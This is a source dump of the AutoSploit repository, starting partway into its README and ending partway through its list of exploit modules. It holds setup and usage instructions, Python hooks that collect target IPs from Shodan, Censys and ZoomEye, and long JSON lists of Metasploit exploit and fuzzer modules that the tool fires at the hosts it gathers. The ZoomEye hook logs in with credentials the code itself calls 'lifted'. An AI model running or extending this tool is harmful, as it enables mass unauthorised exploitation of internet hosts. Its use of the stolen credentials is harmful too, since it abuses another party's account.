49 | docker run --network haknet --name msfdb -e POSTGRES_PASSWORD=s3cr3t -d postgres 50 | docker build -t autosploit . 51 | docker run -it --network haknet -p 80:80 -p 443:443 -p 4444:4444 autosploit 52 | ``` 53 | 54 | Dev team contributor [Khast3x](https://github.com/khast3x) recently improved Docker operations as well as add more details to the README.md in the `Docker` subdirectory. For more information on deploying AutoSploit with Docker please be sure to click [here](https://github.com/NullArray/AutoSploit/tree/master/Docker) 55 | 56 | 57 | ##### Cloning 58 | On any Linux system the following should work; 59 | 60 | ```bash 61 | git clone https://github.com/NullArray/AutoSploit 62 | cd AutoSploit 63 | chmod +x install.sh 64 | ./install.sh 65 | ``` 66 | 67 | AutoSploit is compatible with macOS, however, you have to be inside a virtual environment for it to run successfully. In order to accomplish this employ/perform the below operations via the terminal or in the form of a shell script. 68 | 69 | ```bash 70 | sudo -s << '_EOF' 71 | pip2 install virtualenv --user 72 | git clone https://github.com/NullArray/AutoSploit.git 73 | virtualenv 74 | source /bin/activate 75 | cd 76 | pip2 install -r requirements.txt 77 | chmod +x install.sh 78 | ./install.sh 79 | python autosploit.py 80 | _EOF 81 | ``` 82 | 83 | ## Usage 84 | 85 | Starting the program with `python autosploit.py` will open an AutoSploit terminal session. The options for which are as follows. 86 | ``` 87 | 1. Usage And Legal 88 | 2. Gather Hosts 89 | 3. Custom Hosts 90 | 4. Add Single Host 91 | 5. View Gathered Hosts 92 | 6. Exploit Gathered Hosts 93 | 99. Quit 94 | ``` 95 | 96 | Choosing option `2` will prompt you for a platform specific search query. Enter `IIS` or `Apache` in example and choose a search engine. After doing so the collected hosts will be saved to be used in the `Exploit` component. 97 | 98 | As of version 2.0 AutoSploit can be started with a number of command line arguments/flags as well. Type `python autosploit.py -h` to display all the options available to you. I've posted the options below as well for reference. 99 | 100 | ``` 101 | usage: python autosploit.py -[c|z|s|a] -[q] QUERY 102 | [-C] WORKSPACE LHOST LPORT [-e] [--whitewash] PATH 103 | [--ruby-exec] [--msf-path] PATH [-E] EXPLOIT-FILE-PATH 104 | [--rand-agent] [--proxy] PROTO://IP:PORT [-P] AGENT 105 | 106 | optional arguments: 107 | -h, --help show this help message and exit 108 | 109 | search engines: 110 | possible search engines to use 111 | 112 | -c, --censys use censys.io as the search engine to gather hosts 113 | -z, --zoomeye use zoomeye.org as the search engine to gather hosts 114 | -s, --shodan use shodan.io as the search engine to gather hosts 115 | -a, --all search all available search engines to gather hosts 116 | 117 | requests: 118 | arguments to edit your requests 119 | 120 | --proxy PROTO://IP:PORT 121 | run behind a proxy while performing the searches 122 | --random-agent use a random HTTP User-Agent header 123 | -P USER-AGENT, --personal-agent USER-AGENT 124 | pass a personal User-Agent to use for HTTP requests 125 | -q QUERY, --query QUERY 126 | pass your search query 127 | 128 | exploits: 129 | arguments to edit your exploits 130 | 131 | -E PATH, --exploit-file PATH 132 | provide a text file to convert into JSON and save for 133 | later use 134 | -C WORKSPACE LHOST LPORT, --config WORKSPACE LHOST LPORT 135 | set the configuration for MSF (IE -C default 127.0.0.1 136 | 8080) 137 | -e, --exploit start exploiting the already gathered hosts 138 | 139 | misc arguments: 140 | arguments that don't fit anywhere else 141 | 142 | --ruby-exec if you need to run the Ruby executable with MSF use 143 | this 144 | --msf-path MSF-PATH pass the path to your framework if it is not in your 145 | ENV PATH 146 | --whitelist PATH only exploit hosts listed in the whitelist file 147 | ``` 148 | 149 | 150 | ## Dependencies 151 | _Note_: All dependencies should be installed using the above installation method, however, if you find they are not: 152 | 153 | AutoSploit depends on the following Python2.7 modules. 154 | 155 | ``` 156 | requests 157 | psutil 158 | ``` 159 | 160 | Should you find you do not have these installed get them with pip like so. 161 | 162 | ```bash 163 | pip install requests psutil 164 | ``` 165 | 166 | or 167 | 168 | ```bash 169 | pip install -r requirements.txt 170 | ``` 171 | 172 | Since the program invokes functionality from the Metasploit Framework you need to have this installed also. Get it from Rapid7 by clicking [here](https://www.rapid7.com/products/metasploit/). 173 | 174 | ## Acknowledgements 175 | 176 | Special thanks to [Ekultek](https://github.com/Ekultek) without whoms contributions to the project, the new version would have been a lot less spectacular. 177 | 178 | Thanks to [Khast3x](https://github.com/khast3x) for setting up Docker support. 179 | 180 | Last but certainly not least. Thanks to all who have submitted Pull Requests, bug reports, useful and productive contributions in general. 181 | 182 | ### Active Development 183 | 184 | If you would like to contribute to the development of this project please be sure to read [CONTRIBUTING.md](https://github.com/NullArray/AutoSploit/blob/master/CONTRIBUTING.md) as it contains our contribution guidelines. 185 | 186 | Please, also, be sure to read our [contribution standards](https://github.com/NullArray/AutoSploit/wiki/Development-information#contribution-standards) before sending pull requests 187 | 188 | If you need some help understanding the code, or want to chat with some other AutoSploit community members, feel free to join our [Discord server](https://discord.gg/DZe4zr2). 189 | 190 | ### Note 191 | 192 | If you happen to encounter a bug please feel free to [Open a Ticket](https://github.com/NullArray/AutoSploit/issues). 193 | 194 | Thanks in advance. 195 | 196 | ## Translations 197 | 198 | - [FR](https://github.com/NullArray/AutoSploit/blob/master/.github/.translations/README-fr.md) 199 | - [ZH](https://github.com/NullArray/AutoSploit/blob/master/.github/.translations/README-zh.md) 200 | - [DE](https://github.com/NullArray/AutoSploit/blob/master/.github/.translations/README-de.md) 201 | -------------------------------------------------------------------------------- /Vagrant/Vagrantfile: -------------------------------------------------------------------------------- 1 | # Use as a strating point to spin up a box in lightsail. 2 | # the vagrant-lightsail plugin is required 3 | # You probably also need to: 4 | # - Configure the ssh keys path 5 | # - Install and configure the aws-cli package 6 | 7 | Vagrant.configure('2') do |config| 8 | config.vm.synced_folder ".", "/vagrant", type: "rsync", 9 | rsync__exclude: ".git/", 10 | rsync__auto: true 11 | 12 | config.ssh.private_key_path = '/path/to/id_rsa' 13 | config.ssh.username = 'ubuntu' 14 | config.vm.box = 'lightsail' 15 | config.vm.box_url = 'https://github.com/thejandroman/vagrant-lightsail/raw/master/box/lightsail.box' 16 | config.vm.hostname = 'autosploit-launcher' 17 | 18 | config.vm.provider :lightsail do |provider, override| 19 | provider.port_info = [{ from_port: 0, to_port: 65535, protocol: 20 | 'all' }] 21 | provider.keypair_name = 'id_rsa' 22 | provider.bundle_id = 'small_1_0' 23 | end 24 | 25 | config.vm.provision "bootstrap", type: "shell", run: "once" do |s| 26 | s.path = "./bootstrap/bootstrap.sh" 27 | end 28 | end 29 | -------------------------------------------------------------------------------- /Vagrant/bootstrap/bootstrap.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "Yolosploit configurator 2.42" 4 | sudo apt-get --yes update 5 | sudo apt-get --yes upgrade 6 | 7 | echo "Installing metasploit. BE PATIENT (5 min max?)" 8 | wget --quiet https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run 9 | chmod +x metasploit-latest-linux-x64-installer.run 10 | sudo ./metasploit-latest-linux-x64-installer.run --unattendedmodeui none --prefix /opt/msf --mode unattended 11 | 12 | echo "Installing python2" 13 | sudo apt-get --yes install python python-pip python-virtualenv git 14 | 15 | sudo apt-get --yes install fish 16 | sudo chsh -s /usr/bin/fish ubuntu 17 | 18 | cd ~ 19 | git clone https://github.com/NullArray/AutoSploit 20 | -------------------------------------------------------------------------------- /api_calls/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sulhan12/AutoSploit/9a6a5efac31b488524f9f56f4e2c08f64ec87227/api_calls/__init__.py -------------------------------------------------------------------------------- /api_calls/censys.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | import lib.settings 4 | from lib.errors import AutoSploitAPIConnectionError 5 | from lib.settings import ( 6 | HOST_FILE, 7 | API_URLS, 8 | write_to_file 9 | ) 10 | 11 | 12 | class CensysAPIHook(object): 13 | 14 | """ 15 | Censys API hook 16 | """ 17 | 18 | def __init__(self, identity=None, token=None, query=None, proxy=None, agent=None, save_mode=None, **kwargs): 19 | self.id = identity 20 | self.token = token 21 | self.query = query 22 | self.proxy = proxy 23 | self.user_agent = agent 24 | self.host_file = HOST_FILE 25 | self.save_mode = save_mode 26 | 27 | def search(self): 28 | """ 29 | connect to the Censys API and pull all IP addresses from the provided query 30 | """ 31 | discovered_censys_hosts = set() 32 | try: 33 | lib.settings.start_animation("searching Censys with given query '{}'".format(self.query)) 34 | req = requests.post( 35 | API_URLS["censys"], auth=(self.id, self.token), 36 | json={"query": self.query}, headers=self.user_agent, 37 | proxies=self.proxy 38 | ) 39 | json_data = req.json() 40 | for item in json_data["results"]: 41 | discovered_censys_hosts.add(str(item["ip"])) 42 | write_to_file(discovered_censys_hosts, self.host_file, mode=self.save_mode) 43 | return True 44 | except Exception as e: 45 | raise AutoSploitAPIConnectionError(str(e)) -------------------------------------------------------------------------------- /api_calls/honeyscore_hook.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | 4 | class HoneyHook(object): 5 | 6 | def __init__(self, ip_addy, api_key): 7 | self.ip = ip_addy 8 | self.api_key = api_key 9 | self.url = "https://api.shodan.io/labs/honeyscore/{ip}?key={key}" 10 | self.headers = { 11 | "Referer": "https://honeyscore.shodan.io/", 12 | "Origin": "https://honeyscore.shodan.io" 13 | } 14 | 15 | def make_request(self): 16 | try: 17 | req = requests.get(self.url.format(ip=self.ip, key=self.api_key), headers=self.headers) 18 | honeyscore = float(req.content) 19 | except Exception: 20 | honeyscore = 0.0 21 | return honeyscore 22 | -------------------------------------------------------------------------------- /api_calls/shodan.py: -------------------------------------------------------------------------------- 1 | import json 2 | 3 | import requests 4 | 5 | from lib.settings import start_animation 6 | from lib.errors import AutoSploitAPIConnectionError 7 | from lib.settings import ( 8 | API_URLS, 9 | HOST_FILE, 10 | write_to_file 11 | ) 12 | 13 | 14 | class ShodanAPIHook(object): 15 | 16 | """ 17 | Shodan API hook, saves us from having to install another dependency 18 | """ 19 | 20 | def __init__(self, token=None, query=None, proxy=None, agent=None, save_mode=None, **kwargs): 21 | self.token = token 22 | self.query = query 23 | self.proxy = proxy 24 | self.user_agent = agent 25 | self.host_file = HOST_FILE 26 | self.save_mode = save_mode 27 | 28 | def search(self): 29 | """ 30 | connect to the API and grab all IP addresses associated with the provided query 31 | """ 32 | start_animation("searching Shodan with given query '{}'".format(self.query)) 33 | discovered_shodan_hosts = set() 34 | try: 35 | req = requests.get( 36 | API_URLS["shodan"].format(query=self.query, token=self.token), 37 | proxies=self.proxy, headers=self.user_agent 38 | ) 39 | json_data = json.loads(req.content) 40 | for match in json_data["matches"]: 41 | discovered_shodan_hosts.add(match["ip_str"]) 42 | write_to_file(discovered_shodan_hosts, self.host_file, mode=self.save_mode) 43 | return True 44 | except Exception as e: 45 | raise AutoSploitAPIConnectionError(str(e)) 46 | 47 | 48 | -------------------------------------------------------------------------------- /api_calls/zoomeye.py: -------------------------------------------------------------------------------- 1 | import os 2 | import base64 3 | import json 4 | 5 | import requests 6 | 7 | from lib.settings import start_animation 8 | from lib.errors import AutoSploitAPIConnectionError 9 | from lib.settings import ( 10 | API_URLS, 11 | HOST_FILE, 12 | write_to_file 13 | ) 14 | 15 | 16 | class ZoomEyeAPIHook(object): 17 | 18 | """ 19 | API hook for the ZoomEye API, in order to connect you need to provide a phone number 20 | so we're going to use some 'lifted' credentials to login for us 21 | """ 22 | 23 | def __init__(self, query=None, proxy=None, agent=None, save_mode=None, **kwargs): 24 | self.query = query 25 | self.host_file = HOST_FILE 26 | self.proxy = proxy 27 | self.user_agent = agent 28 | self.user_file = "{}/etc/text_files/users.lst".format(os.getcwd()) 29 | self.pass_file = "{}/etc/text_files/passes.lst".format(os.getcwd()) 30 | self.save_mode = save_mode 31 | 32 | @staticmethod 33 | def __decode(filepath): 34 | """ 35 | we all know what this does 36 | """ 37 | with open(filepath) as f: 38 | data = f.read() 39 | token, n = data.split(":") 40 | for _ in range(int(n.strip())): 41 | token = base64.b64decode(token) 42 | return token.strip() 43 | 44 | def __get_auth(self): 45 | """ 46 | get the authorization for the authentication token, you have to login 47 | before you can access the API, this is where the 'lifted' creds come into 48 | play. 49 | """ 50 | username = self.__decode(self.user_file) 51 | password = self.__decode(self.pass_file) 52 | data = {"username": username, "password": password} 53 | req = requests.post(API_URLS["zoomeye"][0], json=data) 54 | token = json.loads(req.content) 55 | return token 56 | 57 | def search(self): 58 | """ 59 | connect to the API and pull all the IP addresses that are associated with the 60 | given query 61 | """ 62 | start_animation("searching ZoomEye with given query '{}'".format(self.query)) 63 | discovered_zoomeye_hosts = set() 64 | try: 65 | token = self.__get_auth() 66 | if self.user_agent is None: 67 | headers = {"Authorization": "JWT {}".format(str(token["access_token"]))} 68 | else: 69 | headers = { 70 | "Authorization": "JWT {}".format(str(token["access_token"])), 71 | "User-Agent": self.user_agent["User-Agent"] # oops 72 | } 73 | params = {"query": self.query, "page": "1", "facet": "ipv4"} 74 | req = requests.get( 75 | API_URLS["zoomeye"][1].format(query=self.query), 76 | params=params, headers=headers, proxies=self.proxy 77 | ) 78 | _json_data = req.json() 79 | for item in _json_data["matches"]: 80 | if len(item["ip"]) > 1: 81 | for ip in item["ip"]: 82 | discovered_zoomeye_hosts.add(ip) 83 | else: 84 | discovered_zoomeye_hosts.add(str(item["ip"][0])) 85 | write_to_file(discovered_zoomeye_hosts, self.host_file, mode=self.save_mode) 86 | return True 87 | except Exception as e: 88 | raise AutoSploitAPIConnectionError(str(e)) 89 | 90 | -------------------------------------------------------------------------------- /autosploit.py: -------------------------------------------------------------------------------- 1 | from autosploit.main import main 2 | from lib.output import error 3 | 4 | 5 | if __name__ == "__main__": 6 | try: 7 | main() 8 | except KeyboardInterrupt: 9 | error("user aborted session") 10 | -------------------------------------------------------------------------------- /autosploit/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sulhan12/AutoSploit/9a6a5efac31b488524f9f56f4e2c08f64ec87227/autosploit/__init__.py -------------------------------------------------------------------------------- /autosploit/main.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import ctypes 4 | import psutil 5 | import platform 6 | 7 | from lib.cmdline.cmd import AutoSploitParser 8 | from lib.term.terminal import AutoSploitTerminal 9 | from lib.creation.issue_creator import ( 10 | request_issue_creation, 11 | hide_sensitive 12 | ) 13 | from lib.output import ( 14 | info, 15 | prompt, 16 | misc_info 17 | ) 18 | from lib.settings import ( 19 | logo, 20 | load_api_keys, 21 | check_services, 22 | cmdline, 23 | close, 24 | EXPLOIT_FILES_PATH, 25 | START_SERVICES_PATH, 26 | save_error_to_file, 27 | stop_animation 28 | ) 29 | from lib.jsonize import ( 30 | load_exploits, 31 | load_exploit_file 32 | ) 33 | 34 | 35 | def main(): 36 | try: 37 | 38 | try: 39 | is_admin = os.getuid() == 0 40 | except AttributeError: 41 | # we'll make it cross platform because it seems like a cool idea 42 | is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0 43 | 44 | if not is_admin: 45 | close("must have admin privileges to run") 46 | 47 | opts = AutoSploitParser().optparser() 48 | 49 | logo() 50 | info("welcome to autosploit, give us a little bit while we configure") 51 | misc_info("checking your running platform") 52 | platform_running = platform.system() 53 | misc_info("checking for disabled services") 54 | # according to ps aux, postgre and apache2 are the names of the services on Linux systems 55 | service_names = ("postgres", "apache2") 56 | try: 57 | for service in list(service_names): 58 | while not check_services(service): 59 | if "darwin" in platform_running.lower(): 60 | info( 61 | "seems you're on macOS, skipping service checks " 62 | "(make sure that Apache2 and PostgreSQL are running)" 63 | ) 64 | break 65 | choice = prompt( 66 | "it appears that service {} is not enabled, would you like us to enable it for you[y/N]".format( 67 | service.title() 68 | ) 69 | ) 70 | if choice.lower().startswith("y"): 71 | try: 72 | if "linux" in platform_running.lower(): 73 | cmdline("{} linux".format(START_SERVICES_PATH)) 74 | else: 75 | close("your platform is not supported by AutoSploit at this time", status=2) 76 | 77 | # moving this back because it was funky to see it each run 78 | info("services started successfully") 79 | # this tends to show up when trying to start the services 80 | # I'm not entirely sure why, but this fixes it 81 | except psutil.NoSuchProcess: 82 | pass 83 | else: 84 | process_start_command = "`sudo service {} start`" 85 | if "darwin" in platform_running.lower(): 86 | process_start_command = "`brew services start {}`" 87 | close( 88 | "service {} is required to be started for autosploit to run successfully (you can do it manually " 89 | "by using the command {}), exiting".format( 90 | service.title(), process_start_command.format(service) 91 | ) 92 | ) 93 | except Exception: 94 | pass 95 | 96 | if len(sys.argv) > 1: 97 | info("attempting to load API keys") 98 | loaded_tokens = load_api_keys() 99 | AutoSploitParser().parse_provided(opts) 100 | 101 | if not opts.exploitFile: 102 | misc_info("checking if there are multiple exploit files") 103 | loaded_exploits = load_exploits(EXPLOIT_FILES_PATH) 104 | else: 105 | loaded_exploits = load_exploit_file(opts.exploitFile) 106 | misc_info("Loaded {} exploits from {}.".format( 107 | len(loaded_exploits), 108 | opts.exploitFile)) 109 | 110 | AutoSploitParser().single_run_args(opts, loaded_tokens, loaded_exploits) 111 | else: 112 | misc_info("checking if there are multiple exploit files") 113 | loaded_exploits = load_exploits(EXPLOIT_FILES_PATH) 114 | info("attempting to load API keys") 115 | loaded_tokens = load_api_keys() 116 | terminal = AutoSploitTerminal(loaded_tokens, loaded_exploits) 117 | terminal.terminal_main_display(loaded_tokens) 118 | except Exception as e: 119 | global stop_animation 120 | 121 | stop_animation = True 122 | 123 | import traceback 124 | 125 | print( 126 | "\033[31m[!] AutoSploit has hit an unhandled exception: '{}', " 127 | "in order for the developers to troubleshoot and repair the " 128 | "issue AutoSploit will need to gather your OS information, " 129 | "current arguments, the error message, and a traceback. " 130 | "None of this information can be used to identify you in any way\033[0m".format(str(e)) 131 | ) 132 | error_traceback = ''.join(traceback.format_tb(sys.exc_info()[2])) 133 | error_class = str(e.__class__).split(" ")[1].split(".")[1].strip(">").strip("'") 134 | error_file = save_error_to_file(str(error_traceback), str(e), error_class) 135 | print error_traceback 136 | # request_issue_creation(error_file, hide_sensitive(), str(e)) 137 | -------------------------------------------------------------------------------- /drysploit.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | # 4 | # this script dryruns autosploit. That's it, nothing special just a dry run 5 | # 6 | 7 | 8 | if [[ $# -lt 1 ]]; then 9 | echo "Syntax:" 10 | echo -e "\t./drysploit.sh [whitelist]" 11 | exit 1 12 | fi 13 | 14 | WHITELIST=$2 15 | SEARCH_QUERY=$1 16 | LPORT=4444 17 | 18 | LHOST=`dig +short @resolver1.opendns.com myip.opendns.com` 19 | TIMESTAMP=`date +%s` 20 | 21 | 22 | if [ ! $WHITELIST ]; then 23 | echo "executing: python autosploit.py -s -c -q \"${SEARCH_QUERY}\" --overwrite -C \"msf_autorun_${TIMESTAMP}\" $LHOST $LPORT --exploit-file-to-use etc/json/default_modules.json --dry-run -e" 24 | 25 | python autosploit.py -s -c -q "${SEARCH_QUERY}" --overwrite -C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT --exploit-file-to-use etc/json/default_modules.json --dry-run -e 26 | else 27 | echo "executing: python autosploit.py -s -c -q \"${SEARCH_QUERY}\" --overwrite --whitelist $WHITELIST -e -C \"msf_autorun_${TIMESTAMP}\" $LHOST $LPORT --exploit-file-to-use etc/json/default_modules.json --dry-run -e" 28 | 29 | python autosploit.py -s -c -q "${SEARCH_QUERY}" --overwrite --whitelist $WHITELIST -e -C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT --exploit-file-to-use etc/json/default_modules.json --dry-run -e 30 | fi; 31 | -------------------------------------------------------------------------------- /etc/json/default_fuzzers.json: -------------------------------------------------------------------------------- 1 | { 2 | "exploits": [ 3 | "auxiliary/fuzzers/ftp/client_ftp", 4 | "auxiliary/fuzzers/ftp/ftp_pre_post", 5 | "auxiliary/fuzzers/http/http_form_field", 6 | "auxiliary/fuzzers/http/http_get_uri_long", 7 | "auxiliary/fuzzers/http/http_get_uri_strings", 8 | "auxiliary/fuzzers/ntp/ntp_protocol_fuzzer", 9 | "auxiliary/fuzzers/smb/smb2_negotiate_corrupt", 10 | "auxiliary/fuzzers/smb/smb_create_pipe", 11 | "auxiliary/fuzzers/smb/smb_create_pipe_corrupt", 12 | "auxiliary/fuzzers/smb/smb_negotiate_corrupt ", 13 | "auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt", 14 | "auxiliary/fuzzers/smb/smb_tree_connect", 15 | "auxiliary/fuzzers/smb/smb_tree_connect_corrupt", 16 | "auxiliary/fuzzers/smtp/smtp_fuzzer", 17 | "auxiliary/fuzzers/ssh/ssh_kexinit_corrupt", 18 | "auxiliary/fuzzers/ssh/ssh_version_15", 19 | "auxiliary/fuzzers/ssh/ssh_version_2", 20 | "auxiliary/fuzzers/ssh/ssh_version_corrupt", 21 | "auxiliary/fuzzers/tds/tds_login_corrupt", 22 | "auxiliary/fuzzers/tds/tds_login_username" 23 | ] 24 | } 25 | -------------------------------------------------------------------------------- /etc/json/default_modules.json: -------------------------------------------------------------------------------- 1 | { 2 | "exploits": [ 3 | "exploit/windows/ftp/ms09_053_ftpd_nlst", 4 | "exploit/windows/firewall/blackice_pam_icq", 5 | "exploit/windows/http/amlibweb_webquerydll_app", 6 | "exploit/windows/http/ektron_xslt_exec_ws", 7 | "exploit/windows/http/umbraco_upload_aspx", 8 | "exploit/windows/iis/iis_webdav_scstoragepathfromurl", 9 | "exploit/windows/iis/iis_webdav_upload_asp", 10 | "exploit/windows/iis/ms01_023_printer", 11 | "exploit/windows/iis/ms01_026_dbldecode", 12 | "exploit/windows/iis/ms01_033_idq", 13 | "exploit/windows/iis/ms02_018_htr", 14 | "exploit/windows/iis/ms02_065_msadc", 15 | "exploit/windows/iis/ms03_007_ntdll_webdav", 16 | "exploit/windows/iis/msadc", 17 | "exploit/windows/isapi/ms00_094_pbserver", 18 | "exploit/windows/isapi/ms03_022_nsiislog_post", 19 | "exploit/windows/isapi/ms03_051_fp30reg_chunked", 20 | "exploit/windows/isapi/rsa_webagent_redirect", 21 | "exploit/windows/isapi/w3who_query", 22 | "exploit/windows/scada/advantech_webaccess_dashboard_file_upload", 23 | "exploit/windows/ssl/ms04_011_pct", 24 | "exploit/freebsd/http/watchguard_cmd_exec ", 25 | "exploit/linux/http/alienvault_exec ", 26 | "exploit/linux/http/alienvault_sqli_exec ", 27 | "exploit/linux/http/astium_sqli_upload ", 28 | "exploit/linux/http/centreon_sqli_exec ", 29 | "exploit/linux/http/centreon_useralias_exec ", 30 | "exploit/linux/http/crypttech_cryptolog_login_exec ", 31 | "exploit/linux/http/dolibarr_cmd_exec ", 32 | "exploit/linux/http/goautodial_3_rce_command_injection", 33 | "exploit/linux/http/kloxo_sqli ", 34 | "exploit/linux/http/nagios_xi_chained_rce ", 35 | "exploit/linux/http/netgear_wnr2000_rce ", 36 | "exploit/linux/http/pandora_fms_sqli ", 37 | "exploit/linux/http/riverbed_netprofiler_netexpress_exe ", 38 | "exploit/linux/http/wd_mycloud_multiupload_upload ", 39 | "exploit/linux/http/zabbix_sqli ", 40 | "exploit/linux/misc/qnap_transcode_server ", 41 | "exploit/linux/mysql/mysql_yassl_getname ", 42 | "exploit/linux/mysql/mysql_yassl_hello ", 43 | "exploit/linux/postgres/postgres_payload ", 44 | "exploit/linux/samba/is_known_pipename ", 45 | "exploit/multi/browser/java_jre17_driver_manager ", 46 | "exploit/multi/http/atutor_sqli ", 47 | "exploit/multi/http/dexter_casinoloader_exec ", 48 | "exploit/multi/http/drupal_drupageddon ", 49 | "exploit/multi/http/manage_engine_dc_pmp_sqli ", 50 | "exploit/multi/http/manageengine_search_sqli ", 51 | "exploit/multi/http/movabletype_upgrade_exec ", 52 | "exploit/multi/http/php_volunteer_upload_exe ", 53 | "exploit/multi/http/sonicwall_scrutinizer_methoddetail_sqli ", 54 | "exploit/multi/http/splunk_mappy_exec ", 55 | "exploit/multi/http/testlink_upload_exec ", 56 | "exploit/multi/http/zpanel_information_disclosure_rce ", 57 | "exploit/multi/misc/legend_bot_exec ", 58 | "exploit/multi/mysql/mysql_udf_payload ", 59 | "exploit/multi/postgres/postgres_createlang ", 60 | "exploit/solaris/sunrpc/ypupdated_exec ", 61 | "exploit/unix/ftp/proftpd_133c_backdoor ", 62 | "exploit/unix/http/tnftp_savefile ", 63 | "exploit/unix/webapp/joomla_contenthistory_sqli_rce ", 64 | "exploit/unix/webapp/kimai_sqli ", 65 | "exploit/unix/webapp/openemr_sqli_privesc_upload ", 66 | "exploit/unix/webapp/seportal_sqli_exec ", 67 | "exploit/unix/webapp/vbulletin_vote_sqli_exec ", 68 | "exploit/unix/webapp/vicidial_manager_send_cmd_exec", 69 | "exploit/windows/antivirus/symantec_endpoint_manager_rce ", 70 | "exploit/windows/http/apache_mod_rewrite_ldap ", 71 | "exploit/windows/http/ca_totaldefense_regeneratereports", 72 | "exploit/windows/http/cyclope_ess_sqli", 73 | "exploit/windows/http/hp_mpa_job_acct", 74 | "exploit/windows/http/solarwinds_storage_manager_sql", 75 | "exploit/windows/http/sonicwall_scrutinizer_sql", 76 | "exploit/windows/misc/altiris_ds_sqli ", 77 | "exploit/windows/misc/fb_cnct_group ", 78 | "exploit/windows/misc/lianja_db_net ", 79 | "exploit/windows/misc/manageengine_eventlog_analyzer_rce ", 80 | "exploit/windows/mssql/lyris_listmanager_weak_pass ", 81 | "exploit/windows/mssql/ms02_039_slammer ", 82 | "exploit/windows/mssql/ms09_004_sp_replwritetovarbin ", 83 | "exploit/windows/mssql/ms09_004_sp_replwritetovarbin_sqli ", 84 | "exploit/windows/mssql/mssql_linkcrawler ", 85 | "exploit/windows/mssql/mssql_payload ", 86 | "exploit/windows/mssql/mssql_payload_sqli ", 87 | "exploit/windows/mysql/mysql_mof ", 88 | "exploit/windows/mysql/mysql_start_up ", 89 | "exploit/windows/mysql/mysql_yassl_hello", 90 | "exploit/windows/mysql/scrutinizer_upload_exec ", 91 | "exploit/windows/postgres/postgres_payload ", 92 | "exploit/windows/scada/realwin_on_fcs_login", 93 | "exploit/multi/http/rails_actionpack_inline_exec", 94 | "exploit/multi/http/rails_dynamic_render_code_exec", 95 | "exploit/multi/http/rails_json_yaml_code_exec", 96 | "exploit/multi/http/rails_secret_deserialization", 97 | "exploit/multi/http/rails_web_console_v2_code_exec", 98 | "exploit/multi/http/rails_xml_yaml_code_exec", 99 | "exploit/multi/http/rocket_servergraph_file_requestor_rce", 100 | "exploit/multi/http/phpmoadmin_exec", 101 | "exploit/multi/http/phpmyadmin_3522_backdoor", 102 | "exploit/multi/http/phpmyadmin_preg_replace", 103 | "exploit/multi/http/phpscheduleit_start_date", 104 | "exploit/multi/http/phptax_exec", 105 | "exploit/multi/http/phpwiki_ploticus_exec", 106 | "exploit/multi/http/plone_popen2", 107 | "exploit/multi/http/pmwiki_pagelist", 108 | "exploit/multi/http/joomla_http_header_rce", 109 | "exploit/multi/http/novell_servicedesk_rce", 110 | "exploit/multi/http/oracle_reports_rce", 111 | "exploit/multi/http/php_utility_belt_rce", 112 | "exploit/multi/http/phpfilemanager_rce", 113 | "exploit/multi/http/processmaker_exec", 114 | "exploit/multi/http/rocket_servergraph_file_requestor_rce", 115 | "exploit/multi/http/spree_search_exec", 116 | "exploit/multi/http/spree_searchlogic_exec", 117 | "exploit/multi/http/struts_code_exec_parameters", 118 | "exploit/multi/http/vtiger_install_rce", 119 | "exploit/multi/http/werkzeug_debug_rce", 120 | "exploit/multi/http/zemra_panel_rce", 121 | "exploit/multi/http/zpanel_information_disclosure_rce", 122 | "exploit/multi/http/joomla_http_header_rce", 123 | "exploit/unix/webapp/joomla_akeeba_unserialize", 124 | "exploit/unix/webapp/joomla_comjce_imgmanager", 125 | "exploit/unix/webapp/joomla_contenthistory_sqli_rce", 126 | "exploit/unix/webapp/joomla_media_upload_exec", 127 | "exploit/multi/http/builderengine_upload_exec", 128 | "exploit/multi/http/caidao_php_backdoor_exec", 129 | "exploit/multi/http/atutor_sqli ", 130 | "exploit/multi/http/ajaxplorer_checkinstall_exec", 131 | "exploit/multi/http/apache_activemq_upload_jsp", 132 | "exploit/unix/webapp/wp_lastpost_exec", 133 | "exploit/unix/webapp/wp_mobile_detector_upload_execute", 134 | "exploit/multi/http/axis2_deployer", 135 | "exploit/unix/webapp/wp_foxypress_upload", 136 | "exploit/linux/http/tr064_ntpserver_cmdinject", 137 | "exploit/linux/misc/quest_pmmasterd_bof", 138 | "exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload", 139 | "exploit/unix/webapp/php_xmlrpc_eval", 140 | "exploit/unix/webapp/wp_admin_shell_upload", 141 | "exploit/linux/http/sophos_wpa_sblistpack_exec", 142 | "exploit/linux/local/sophos_wpa_clear_keys", 143 | "exploit/multi/http/zpanel_information_disclosure_rce", 144 | "auxiliary/admin/cisco/cisco_asa_extrabacon", 145 | "auxiliary/admin/cisco/cisco_secure_acs_bypass", 146 | "auxiliary/admin/cisco/vpn_3000_ftp_bypass", 147 | "exploit/bsdi/softcart/mercantec_softcart ", 148 | "exploit/freebsd/misc/citrix_netscaler_soap_bof", 149 | "exploit/freebsd/samba/trans2open", 150 | "exploit/linux/ftp/proftp_sreplace ", 151 | "exploit/linux/http/dcos_marathon", 152 | "exploit/linux/http/f5_icall_cmd", 153 | "exploit/linux/http/fritzbox_echo_exec", 154 | "exploit/linux/http/gitlist_exec", 155 | "exploit/linux/http/goautodial_3_rce_command_injection", 156 | "exploit/linux/http/ipfire_bashbug_exec", 157 | "exploit/linux/http/ipfire_oinkcode_exec", 158 | "exploit/linux/http/ipfire_proxy_exec", 159 | "exploit/linux/http/kaltura_unserialize_rce", 160 | "exploit/linux/http/lifesize_uvc_ping_rce", 161 | "exploit/linux/http/nagios_xi_chained_rce", 162 | "exploit/linux/http/netgear_dgn1000_setup_unauth_exec", 163 | "exploit/linux/http/netgear_wnr2000_rce ", 164 | "exploit/linux/http/nuuo_nvrmini_auth_rce", 165 | "exploit/linux/http/nuuo_nvrmini_unauth_rce", 166 